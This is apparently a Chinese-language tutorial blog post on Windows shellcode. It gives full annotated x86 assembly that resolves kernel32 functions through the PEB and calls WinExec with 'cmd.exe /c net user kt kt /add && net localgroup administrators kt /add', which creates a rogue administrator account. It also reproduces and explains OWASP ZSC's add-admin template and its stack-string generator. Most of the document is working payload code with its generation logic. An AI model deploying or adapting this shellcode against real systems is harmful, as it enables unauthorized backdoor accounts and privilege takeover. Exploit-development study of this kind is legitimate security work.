ShellCode模板

前言

  • 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢?
  • 先来拆分一下汇编的功能
;寻找kernel32.dll的基地址
xor         ecx,ecx
mov         eax,dword ptr fs:[ecx+30h] ; EAX = PEB
mov         eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
mov         esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
lods        dword ptr [esi] ; EAX = Second module
xchg        eax,esi ; EAX = ESI, ESI = EAX
lods        dword ptr [esi] ; EAX = Third(kernel32)
mov         ebx,dword ptr [eax+10h] ; EBX = Base address
;查找kernel32.dll的导出表
mov         edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
add         edx,ebx ; EDX = PE Header
mov         edx,dword ptr [edx+78h] ; EDX = Offset export table
add         edx,ebx; EDX = Export table
mov         esi,dword ptr [edx+20h] ; ESI = Offset names table
add         esi,ebx; ESI = Names table
xor         ecx,ecx ; EXC = 0
;循环查找GetProcAddress函数
Get_Function:
inc         ecx; Increment the ordinal
lods        dword ptr [esi]; Get name offset
add         eax,ebx ; Get function name
cmp         dword ptr [eax],50746547h ; GetProcAddress
jne         0012FE9B;Get_Function
cmp         dword ptr [eax+4],41636F72h; rocAddress
jne         0012FE9B;Get_Function
cmp         dword ptr [eax+8],65726464h; ddress
jne         0012FE9B;Get_Function
;寻找GetProcAddress 函数
mov         esi,dword ptr [edx+24h]; ESI = Offset ordinals
add         esi,ebx ; ESI = Ordinals table
mov         cx,word ptr [esi+ecx*2] ; CX = Number of function
dec         ecx
mov         esi,dword ptr [edx+1Ch]; ESI = Offset address table
add         esi,ebx; ESI = Address table
mov         edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
add         edx,ebx ; EDX = GetProcAddress
push        ebx;PUSH kernel32.Base address
push        edx;PUSH kernel32.GetProcAddress
;寻找WinExec函数地址
xor         ecx,ecx ; ECX = 0
push        ecx; PUSH ECX
mov         ecx,61636578h;string acex
push        ecx;PUSH ECX
sub         dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
push        456E6957h;string EniW
push        esp;PUSH ESP WinExec
push        ebx;PUSH EBX kernel32.Base address
call        edx;CALL GetProcAddress
add         esp,8;ESP+8
pop         ecx;ECX=0
push        eax;PUSH EAX-->kernel32.WinExec Addresss
;赋值命令行字符串
xor         ecx,ecx;ECX=0
push        ecx;PUSH ECX
push        64646190h;string dda[90]
pop         ecx;ECX=string dda[90]
shr         ecx,8;ECX=00646461 string dda
push        ecx;PUSH ECX
push        2F20746Bh
push        2073726Fh
push        74617274h
push        73696E69h
push        6D646120h
push        70756F72h
push        676C6163h
push        6F6C2074h
push        656E2026h
push        26206464h
push        612F2074h
push        6B20746Bh
push        20726573h
push        75207465h
push        6E20632Fh
push        20657865h
push        2E646D63h
xor         ebx,ebx;EBX=0
mov         ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
xor         ecx,ecx;ECX=0
inc         ecx;EXC=1
push        ecx;PUSH ECX=1
push        ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
call        eax;CALL WinExec
;堆栈平衡
add         esp,50h;ESP+50h
pop         edx;EDX=kernel32.GetProcAddress
pop         ebx;EBX=kernel32.Base Address
;退出程序
xor         ecx,ecx;ECX=0
mov         ecx,61737365h;string asse
push        ecx;PUSH ECX
sub         dword ptr [esp+3],61h;Remove "a"
push        636F7250h;string  ; Proc
push        74697845h;string ; Exit
push        esp;string "ExitProcess"
push        ebx;kernel32.dll base address
call        edx; GetProcAddress(Exec)
xor         ecx,ecx; ECX = 0
push        ecx; Return code = 0
call        eax; ExitProcess

OWASP-ZSC部分源码

  • 添加用户的汇编指令
#!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
from math import ceil


def add_admin(command_hex, command):
    return '''
xor    %ecx,%ecx
mov    %fs:0x30(%ecx),%eax
mov    0xc(%eax),%eax
mov    0x14(%eax),%esi
lods   %ds:(%esi),%eax
xchg   %eax,%esi
lods   %ds:(%esi),%eax
mov    0x10(%eax),%ebx
mov    0x3c(%ebx),%edx
add    %ebx,%edx
mov    0x78(%edx),%edx
add    %ebx,%edx
mov    0x20(%edx),%esi
add    %ebx,%esi
xor    %ecx,%ecx
inc    %ecx
lods   %ds:(%esi),%eax
add    %ebx,%eax
cmpl   $0x50746547,(%eax)
jne    23 <.text+0x23>
cmpl   $0x41636f72,0x4(%eax)
jne    23 <.text+0x23>
cmpl   $0x65726464,0x8(%eax)
jne    23 <.text+0x23>
mov    0x24(%edx),%esi
add    %ebx,%esi
mov    (%esi,%ecx,2),%cx
dec    %ecx
mov    0x1c(%edx),%esi
add    %ebx,%esi
mov    (%esi,%ecx,4),%edx
add    %ebx,%edx
push   %ebx
push   %edx
xor    %ecx,%ecx
push   %ecx
mov    $0x61636578,%ecx
push   %ecx
subl   $0x61,0x3(%esp)
push   $0x456e6957
push   %esp
push   %ebx
call   *%edx
add    $0x8,%esp
pop    %ecx
push   %eax
xor    %ecx,%ecx
push   %ecx
{0}
xor    %ebx,%ebx
mov    %esp,%ebx
xor    %ecx,%ecx
inc    %ecx
push   %ecx
push   %ebx
call   *%eax
add    ${1},%esp
pop    %edx
pop    %ebx
xor    %ecx,%ecx
mov    $0x61737365,%ecx
push   %ecx
subl   $0x61,0x3(%esp)
push   $0x636f7250
push   $0x74697845
push   %esp
push   %ebx
call   *%edx
xor    %ecx,%ecx
push   %ecx
call   *%eax
'''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4))))))


def run(data):
    username = data[0]
    passsword = data[1]
    command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
    return add_admin(stack.generate(command, "%ecx", "string"), command)
  • 拿到用户和密码后拼接成添加用户名的命令行,调用核心模块里的generate函数,生成要执行的命令行存进ecx寄存器里,再根据命令行十六进制的长度提升堆栈空间。

  • generate函数的源码

def generate(data, register, gtype):
    length = len(data)
    if gtype == 'int':
        flag_8 = True
        try:
            data = hex(int(data, 8))
        except:
            flag_8 = False
        if flag_8 is False:
            try:
                data = hex(int(data, 16))
            except:
                error('hex or digit required!\nExit\n')
                sys.exit(0)
    if gtype == 'string':
        data = st(data)
    if length <= 3:
        if gtype == 'string':
            data = str('0x') + str(data)
        if len(data) % 2 is not 0:
            data = data.replace('0x', '0x0')
        if len(data) is 8:
            data = data + '90\npop %s\nshr $0x8,%s\npush %s\n' % (
                register, register, register)
        if len(data) is 6:
            data = data + '9090\npop %s\nshr $0x10,%s\npush %s\n' % (
                register, register, register)
        if len(data) is 4:
            data = data + '909090\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
                register, register, register, register)
        data = str('push $') + str(data)
    if length >= 4:
        if gtype == 'int':
            data = data[2:]
        stack_content = data
        shr_counter = len(stack_content) % 8
        shr = None
        if shr_counter is 2:
            shr = '\npop %s\nshr    $0x10,%s\nshr    $0x8,%s\npush %s\n' % (
                register, register, register, register)
            stack_content = stack_content[0:2] + '909090' + stack_content[2:]
        if shr_counter is 4:
            shr = '\npop %s\nshr    $0x10,%s\npush %s\n' % (register, register,
                                                            register)
            stack_content = stack_content[0:4] + '9090' + stack_content[4:]
        if shr_counter is 6:
            shr = '\npop %s\nshr    $0x8,%s\npush %s\n' % (register, register,
                                                           register)
            stack_content = stack_content[0:6] + '90' + stack_content[6:]
        zshr = shr
        m = int(len(stack_content))
        n = int(len(stack_content) / 8)
        file_shellcode = ''
        if (len(stack_content) % 8) is 0:
            shr_n = 0
            r = ''
            while (n is not 0):
                if shr is not None:
                    shr_n += 1
                    zx = m - 8
                    file_shellcode = 'push $0x' + str(stack_content[
                        zx:m]) + '\n' + file_shellcode
                    m -= 8
                    n = n - 1
                    shr = None
                if shr is None:
                    shr_n += 1
                    zx = m - 8
                    file_shellcode = 'push $0x' + str(stack_content[
                        zx:m]) + '\n' + file_shellcode
                    m -= 8
                    n = n - 1
            if zshr is None:
                file_z = file_shellcode
            if zshr is not None:
                rep1 = file_shellcode[:16]
                rep2 = rep1 + zshr
                file_z = file_shellcode.replace(rep1, rep2)
        data = file_z
    return data
  • 接受三个参数,data, register, gtype分别是数据,存储到哪一个寄存器,数据类型。
上一篇:检查最高位是否为1的一个技巧


下一篇:C语言反汇编-数据类型与常量